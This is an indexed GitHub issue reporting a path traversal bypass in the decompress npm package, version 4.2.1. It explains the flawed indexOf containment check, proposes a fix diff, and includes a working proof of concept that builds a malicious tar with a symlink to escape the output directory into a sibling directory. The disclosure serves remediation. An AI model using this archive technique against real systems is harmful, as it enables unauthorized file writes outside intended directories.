kevva / kevva/decompress

Security: path traversal bypass in v4.2.1 via symlink + indexOf check (bypass of GHSA-qgfr-5hqp-vrw9)

Open
#111 2 comments 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
419
Forks
55
PR merge metrics
No merged PRs in 30d

Description

## Vulnerability Report

The `safeMakeDir` guard introduced in v4.2.1 uses `indexOf` to check path containment, which is a string prefix check, not a real path containment check. A crafted archive with a symlink whose target path starts with the output path string can bypass this check and write files outside the intended output directory.

A fix PR is open at #112.

## Root Cause

\`\`\`js
// index.js (4.2.1)
if (realDestinationDir.indexOf(realOutputPath) !== 0) {
throw new Error('Refusing to write outside output directory: ' + realDestinationDir);
}
\`\`\`

\`/tmp/output-evil\`.indexOf(\`/tmp/output\`) returns 0 — this passes the check even though \`/tmp/output-evil\` is NOT inside \`/tmp/output\`.

## Proof of Concept

\`\`\`js
const decompress = require('decompress');
const tarStream = require('tar-stream');
const zlib = require('zlib');
const fs = require('fs');
const path = require('path');

const base = '/tmp/decompress-poc';
const output = path.join(base, 'output');
const target = path.join(base, 'output-evil');

fs.mkdirSync(output, { recursive: true });
fs.mkdirSync(target, { recursive: true }); // target must pre-exist — see Conditions

async function buildMaliciousTar() {
const pack = tarStream.pack();
pack.entry({ name: 'link', type: 'symlink', linkname: '../output-evil' });
pack.entry({ name: 'link/evil.txt' }, 'PWNED via decompress indexOf bypass\n');
pack.finalize();
return new Promise((resolve, reject) => {
const chunks = [];
pack.pipe(zlib.createGzip())
.on('data', c => chunks.push(c))
.on('end', () => resolve(Buffer.concat(chunks)))
.on('error', reject);
});
}

(async () => {
const tarBuf = await buildMaliciousTar();
await decompress(tarBuf, output);
const escaped = path.join(target, 'evil.txt');
console.log('escaped:', fs.existsSync(escaped), fs.readFileSync(escaped, 'utf8'));
})();
\`\`\`

Confirmed output on Node.js v25.8.0, decompress v4.2.1:

\`\`\`
escaped: true PWNED via decompress indexOf bypass
\`\`\`

## Conditions

- Archive contains a symlink entry (attacker controls the archive)
- **The sibling directory must already exist on the filesystem.** \`decompress\` calls \`fs.realpath()\` on the symlink target to get \`realDestinationDir\`. If the target directory doesn't exist, \`fs.realpath\` throws and the attack fails. This is a meaningful constraint: the attacker cannot create the sibling themselves via this bug alone.
- The pre-existing directory's path must start with the output path string as a prefix (e.g. output is \`/srv/app\`, target is \`/srv/app-config\` or \`/srv/app-backups\`)
- Realistic where the sibling would pre-exist: servers with predictable layout (\`/var/www/app\` alongside \`/var/www/app-static\`), multi-tenant deploys where tenant directories share a prefix, CI environments that unpack into a versioned subdirectory next to an existing cache dir

This is a more constrained attack surface than tools like \`unzipper\` which call \`fs.ensureDir\` and create the target automatically.

## Fix

See PR #112. Replace \`indexOf\` with a path-separator-aware check in both locations:

\`\`\`diff
-if (realParentPath.indexOf(realOutputPath) !== 0) {
+if (realParentPath !== realOutputPath && !realParentPath.startsWith(realOutputPath + path.sep)) {
\`\`\`

\`\`\`diff
-if (realDestinationDir.indexOf(realOutputPath) !== 0) {
+if (realDestinationDir !== realOutputPath && !realDestinationDir.startsWith(realOutputPath + path.sep)) {
\`\`\`

Additionally, validating symlink \`linkname\` values before any filesystem operations would provide defence-in-depth.

## Notes

Private vulnerability reporting is not enabled on this repo, so reporting publicly. This is a bypass of the fix for GHSA-qgfr-5hqp-vrw9 — the original vulnerability class is the same, the guard just needs a stronger check.

Contributor guide

No contributing guide indexed for this repository

Research direction

Start in index.js and review PR #112, focusing on both realParentPath and realDestinationDir containment checks described in the report. Use the supplied symlink proof of concept to verify that the sibling-prefix bypass no longer writes outside the output directory; the issue also identifies symlink-linkname validation as optional defence in depth.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript, nodejs
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Stale
Clarity
Clearly specified
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.